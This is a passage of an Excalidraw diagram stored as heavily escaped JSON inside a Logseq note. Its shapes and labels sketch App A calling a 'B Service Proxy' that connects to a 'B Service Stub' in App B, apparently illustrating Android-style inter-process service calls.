B\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;C0XrkxRO7AWjP9M2xwj0q\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;App B\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:302,\\logseq____&quot;versionNonce\\logseq____&quot;:1416500508,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;l1QvNgyVWi9rSs9iEZ-Y9\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:941.6997767857144,\\logseq____&quot;y\\logseq____&quot;:418.6785714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:196.359375,\\logseq____&quot;height\\logseq____&quot;:52.5,\\logseq____&quot;seed\\logseq____&quot;:1834590492,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;ipTHVwzP8JW96DtBan76n\\logseq____&quot;},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;Fu0vwt5yGgnqpNZyJZV8x\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;vXQSsMfv5tOyxKdt86Hqa\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:301,\\logseq____&quot;versionNonce\\logseq____&quot;:1154112156,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;ipTHVwzP8JW96DtBan76n\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:966.3595439365934,\\logseq____&quot;y\\logseq____&quot;:432.4285714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:147.0398406982422,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1607207580,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;B Service Stub\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;l1QvNgyVWi9rSs9iEZ-Y9\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;B Service Stub\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:301,\\logseq____&quot;versionNonce\\logseq____&quot;:1348249372,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;XydPYWIN2rTlE1PQHV7U8\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1188.0591517857144,\\logseq____&quot;y\\logseq____&quot;:398.9285714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:465.078125,\\logseq____&quot;height\\logseq____&quot;:92,\\logseq____&quot;seed\\logseq____&quot;:1681857948,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;lXgc4vsOp8OcQVzJinPlF\\logseq____&quot;},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;Fu0vwt5yGgnqpNZyJZV8x\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:310,\\logseq____&quot;versionNonce\\logseq____&quot;:549097500,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;lXgc4vsOp8OcQVzJinPlF\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1274.85837663923,\\logseq____&quot;y\\logseq____&quot;:419.9285714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:291.47967529296875,\\logseq____&quot;height\\logseq____&quot;:50,\\logseq____&quot;seed\\logseq____&quot;:2141738780,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Stub Implementation\\\\nint foo(String) { return 42; }\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;XydPYWIN2rTlE1PQHV7U8\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Stub Implementation\\\\nint foo(String) { return 42; }\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:43},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:942,\\logseq____&quot;versionNonce\\logseq____&quot;:1484784164,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;Fu0vwt5yGgnqpNZyJZV8x\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1139.0591517857144,\\logseq____&quot;y\\logseq____&quot;:445.4285714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:49.5,\\logseq____&quot;height\\logseq____&quot;:0.5,\\logseq____&quot;seed\\logseq____&quot;:1649501852,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605956977,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;l1QvNgyVWi9rSs9iEZ-Y9\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.09069469130902462,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;XydPYWIN2rTlE1PQHV7U8\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[24,-0.5],[48.5,-0.5]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:462,\\logseq____&quot;versionNonce\\logseq____&quot;:248621604,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;SifWGlqATymL1TkNJYt_s\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:76.86272321428578,\\logseq____&quot;y\\logseq____&quot;:362.07142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:673.9375,\\logseq____&quot;height\\logseq____&quot;:160,\\logseq____&quot;seed\\logseq____&quot;:456658716,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;2a7Wv2dJCPu1zi9EWsmoh\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605917732,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:463,\\logseq____&quot;versionNonce\\logseq____&quot;:1658897828,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;2a7Wv2dJCPu1zi9EWsmoh\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:385.8515003749303,\\logseq____&quot;y\\logseq____&quot;:367.07142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:55.95994567871094,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:122370204,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605917732,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;App A\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;SifWGlqATymL1TkNJYt_s\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;App A\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:463,\\logseq____&quot;versionNonce\\logseq____&quot;:763392292,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;O4b2GfmjC7EV1dx0zEJ73\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:101.86272321428578,\\logseq____&quot;y\\logseq____&quot;:397.07142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:165.046875,\\logseq____&quot;height\\logseq____&quot;:90,\\logseq____&quot;seed\\logseq____&quot;:1746914204,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;VPAcyOSWnaKwnYB_r42MA\\logseq____&quot;},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;uv8kcWfvQGyXoLkYkmSb_\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605917732,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:468,\\logseq____&quot;versionNonce\\logseq____&quot;:107575332,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;VPAcyOSWnaKwnYB_r42MA\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:107.46623883928578,\\logseq____&quot;y\\logseq____&quot;:417.07142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:153.83984375,\\logseq____&quot;height\\logseq____&quot;:50,\\logseq____&quot;seed\\logseq____&quot;:185713948,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605917732,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Component (e.g.,\\\\nActivity)\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;O4b2GfmjC7EV1dx0zEJ73\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Component (e.g., Activity)\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:43},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:466,\\logseq____&quot;versionNonce\\logseq____&quot;:1916344220,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;SANj9Ac62ljoQ8xvVKsIm\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:516.9564732142858,\\logseq____&quot;y\\logseq____&quot;:415.82142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:208.84375,\\logseq____&quot;height\\logseq____&quot;:60,\\logseq____&quot;seed\\logseq____&quot;:702281756,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;8sNUYtd3zBlR9h7mcisQX\\logseq____&quot;},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;WizRRDPiUyp2NNFO85KUc\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605935805,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:481,\\logseq____&quot;versionNonce\\logseq____&quot;:1725041692,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;8sNUYtd3zBlR9h7mcisQX\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:543.5884312220983,\\logseq____&quot;y\\logseq____&quot;:420.82142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:155.579833984375,\\logseq____&quot;height\\logseq____&quot;:50,\\logseq____&quot;seed\\logseq____&quot;:1599259036,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605940136,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;B Service Proxy\\\\nint foo(String);\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;SANj9Ac62ljoQ8xvVKsIm\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;B Service Proxy\\\\nint foo(String);\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:43},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:1247,\\logseq____&quot;versionNonce\\logseq____&quot;:2112603932,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;uv8kcWfvQGyXoLkYkmSb_\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:267.4097232142858,\\logseq____&quot;y\\logseq____&quot;:442.57142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:249.547,\\logseq____&quot;height\\logseq____&quot;:0.5,\\logseq____&quot;seed\\logseq____&quot;:1245776412,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;9bj_041-OA_763eEUFq0A\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605918103,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;O4b2GfmjC7EV1dx0zEJ73\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.014753535629874403,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:null,\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[249.547,-0.5]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:478,\\logseq____&quot;versionNonce\\logseq____&quot;:1799741860,\\logseq____&quot;isDeleted\\logseq____